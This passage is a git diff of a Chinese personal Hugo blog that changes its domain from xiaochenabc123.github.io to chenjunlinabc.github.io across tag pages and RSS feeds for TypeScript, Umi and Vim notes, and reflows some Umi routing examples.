stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>TypeScript</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>TypeScript学习笔记</h2></header><div class=entry-content><p>TypeScript设计目标是开发大型项目，编译成纯JavaScript，让其可以运行在任何浏览器上
 TypeScript可以增强IDE的交互和反馈，主流IDE都支持TypeScript
 TypeScript实质上就是JavaScript的扩展，JavaScript超集
 TypeScript具备类型检查，静态类型，JSnext属性和方法，以及还在提案阶段的语法（例如装饰器）
@@ -34,7 +34,7 @@
 boolean布尔值，例如：
 let hallo: boolean = true
 number数值，例如：
-let hallo: number = 123;...</p></div><footer class=entry-footer><span title='2021-07-18 15:50:00 +0000 UTC'>2021-07-18</span>&nbsp;·&nbsp;10 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to TypeScript学习笔记" href=https://xiaochenabc123.github.io/posts/58/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+let hallo: number = 123;...</p></div><footer class=entry-footer><span title='2021-07-18 15:50:00 +0000 UTC'>2021-07-18</span>&nbsp;·&nbsp;10 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to TypeScript学习笔记" href=https://chenjunlinabc.github.io/posts/58/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/typescript/index.xml b/tags/typescript/index.xml
index bbc7dce0..a0adddcc 100644
--- a/tags/typescript/index.xml
+++ b/tags/typescript/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>TypeScript on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/typescript/</link>
+    <link>https://chenjunlinabc.github.io/tags/typescript/</link>
     <description>Recent content in TypeScript on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Sun, 18 Jul 2021 15:50:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/typescript/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Sun, 18 Jul 2021 15:50:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/typescript/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>TypeScript学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/58/</link>
+      <link>https://chenjunlinabc.github.io/posts/58/</link>
       <pubDate>Sun, 18 Jul 2021 15:50:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/58/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/58/</guid>
       <description>TypeScript设计目标是开发大型项目，编译成纯JavaScript，让其可以运行在任何浏览器上
 TypeScript可以增强IDE的交互和反馈，主流IDE都支持TypeScript
 TypeScript实质上就是JavaScript的扩展，JavaScript超集
diff --git a/tags/typescript/page/1/index.html b/tags/typescript/page/1/index.html
index 93f66ea1..07b973d1 100644
--- a/tags/typescript/page/1/index.html
+++ b/tags/typescript/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/typescript/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/typescript/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/typescript/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/typescript/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/typescript/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/typescript/"></head></html>
\ No newline at end of file
diff --git a/tags/umi/index.html b/tags/umi/index.html
index 4aa76085..70beb917 100644
--- a/tags/umi/index.html
+++ b/tags/umi/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Umi | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/umi/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/umi/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Umi"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/umi/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Umi"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>Umi</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>Umi框架学习笔记</h2></header><div class=entry-content><p>Umi是一款前端应用框架
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Umi | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/umi/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/umi/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Umi"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/umi/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Umi"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>Umi</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>Umi框架学习笔记</h2></header><div class=entry-content><p>Umi是一款前端应用框架
 官方文档：https://umijs.org/zh-CN/docs
 根据官方文档要求，node版本>=10.13
 yarn create @umijs/umi-app
@@ -9,38 +9,14 @@
 构建项目（默认生成到./dist）
 yarn build
 路由（src\.umi\core\routes.ts）
-"routes": [
-{
-"path": "/",
-"component": require('@/pages/index').default,
-"exact": true
-},{
-"path": "/admin",
-"component": require('@/pages/admin').default,
-"exact": true
-}
-]
-组件文件放在src\pages下
+"routes": [ { "path": "/", "component": require('@/pages/index').default, "exact": true },{ "path": "/admin", "component": require('@/pages/admin').default, "exact": true } ] 组件文件放在src\pages下
 path是路径，component是组件路径，绝对和相对都可以用，也可以有require(’@/pages/xxx’)的方式
 exact表示是否严格匹配，就是path和组件路径是否要完全对应，默认为开启，如果设置为false，表示模糊匹配
 子组件
-"routes": [
-{
-"path": "/",
-"redirect": '/admin',
-},{
-"path": "/admin",
-"component": require('@/pages/admin').default,
-routes: [
-{ path: '/admin/archives', redirect: '/' },
-{ path: '/admin/category', component: 'category' },
-]
-}
-]
-redirect是跳转路由，当访问/的时候，跳转到/admin
+"routes": [ { "path": "/", "redirect": '/admin', },{ "path": "/admin", "component": require('@/pages/admin').default, routes: [ { path: '/admin/archives', redirect: '/' }, { path: '/admin/category', component: 'category' }, ] } ] redirect是跳转路由，当访问/的时候，跳转到/admin
 文件路由（根据目录和文件名来分析路由）
 如果没有routes路由配置，那么就会触发该文件路由，通过分析src/pages目录
-注意：用.或者_开头的文件，用d.ts结尾的文件，不是 ....</p></div><footer class=entry-footer><span title='2021-09-20 21:00:00 +0000 UTC'>2021-09-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Umi框架学习笔记" href=https://xiaochenabc123.github.io/posts/110/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+注意：用.或者_开头的文件，用d.ts结尾的文件，不是 ....</p></div><footer class=entry-footer><span title='2021-09-20 21:00:00 +0000 UTC'>2021-09-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Umi框架学习笔记" href=https://chenjunlinabc.github.io/posts/110/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/umi/index.xml b/tags/umi/index.xml
index 71877f0b..39db1e32 100644
--- a/tags/umi/index.xml
+++ b/tags/umi/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>Umi on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/umi/</link>
+    <link>https://chenjunlinabc.github.io/tags/umi/</link>
     <description>Recent content in Umi on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Mon, 20 Sep 2021 21:00:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/umi/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Mon, 20 Sep 2021 21:00:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/umi/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>Umi框架学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/110/</link>
+      <link>https://chenjunlinabc.github.io/posts/110/</link>
       <pubDate>Mon, 20 Sep 2021 21:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/110/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/110/</guid>
       <description>Umi是一款前端应用框架
 官方文档：https://umijs.org/zh-CN/docs
 根据官方文档要求，node版本&amp;gt;=10.13
@@ -29,11 +29,11 @@ yarn start
 构建项目（默认生成到./dist）
 yarn build
 路由（src\.umi\core\routes.ts）
-&amp;quot;routes&amp;quot;: [
{
&amp;quot;path&amp;quot;: &amp;quot;/&amp;quot;,
&amp;quot;component&amp;quot;: require(&#39;@/pages/index&#39;).default,
&amp;quot;exact&amp;quot;: true
},{
&amp;quot;path&amp;quot;: &amp;quot;/admin&amp;quot;,
&amp;quot;component&amp;quot;: require(&#39;@/pages/admin&#39;).default,
&amp;quot;exact&amp;quot;: true
}
]
组件文件放在src\pages下
+&amp;quot;routes&amp;quot;: [ { &amp;quot;path&amp;quot;: &amp;quot;/&amp;quot;, &amp;quot;component&amp;quot;: require(&#39;@/pages/index&#39;).default, &amp;quot;exact&amp;quot;: true },{ &amp;quot;path&amp;quot;: &amp;quot;/admin&amp;quot;, &amp;quot;component&amp;quot;: require(&#39;@/pages/admin&#39;).default, &amp;quot;exact&amp;quot;: true } ] 组件文件放在src\pages下
 path是路径，component是组件路径，绝对和相对都可以用，也可以有require(&amp;rsquo;@/pages/xxx&amp;rsquo;)的方式
 exact表示是否严格匹配，就是path和组件路径是否要完全对应，默认为开启，如果设置为false，表示模糊匹配
 子组件
-&amp;quot;routes&amp;quot;: [
{
&amp;quot;path&amp;quot;: &amp;quot;/&amp;quot;,
&amp;quot;redirect&amp;quot;: &#39;/admin&#39;,
},{
&amp;quot;path&amp;quot;: &amp;quot;/admin&amp;quot;,
&amp;quot;component&amp;quot;: require(&#39;@/pages/admin&#39;).default,
routes: [
{ path: &#39;/admin/archives&#39;, redirect: &#39;/&#39; },
{ path: &#39;/admin/category&#39;, component: &#39;category&#39; },
]
}
]
redirect是跳转路由，当访问/的时候，跳转到/admin
+&amp;quot;routes&amp;quot;: [ { &amp;quot;path&amp;quot;: &amp;quot;/&amp;quot;, &amp;quot;redirect&amp;quot;: &#39;/admin&#39;, },{ &amp;quot;path&amp;quot;: &amp;quot;/admin&amp;quot;, &amp;quot;component&amp;quot;: require(&#39;@/pages/admin&#39;).default, routes: [ { path: &#39;/admin/archives&#39;, redirect: &#39;/&#39; }, { path: &#39;/admin/category&#39;, component: &#39;category&#39; }, ] } ] redirect是跳转路由，当访问/的时候，跳转到/admin
 文件路由（根据目录和文件名来分析路由）
 如果没有routes路由配置，那么就会触发该文件路由，通过分析src/pages目录
 注意：用.或者_开头的文件，用d.ts结尾的文件，不是 .</description>
diff --git a/tags/umi/page/1/index.html b/tags/umi/page/1/index.html
index bae6ce43..57700c16 100644
--- a/tags/umi/page/1/index.html
+++ b/tags/umi/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/umi/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/umi/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/umi/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/umi/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/umi/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/umi/"></head></html>
\ No newline at end of file
diff --git a/tags/vim/index.html b/tags/vim/index.html
index 0b6d01ab..7d3dba6b 100644
--- a/tags/vim/index.html
+++ b/tags/vim/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Vim | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/vim/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/vim/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Vim"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/vim/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" 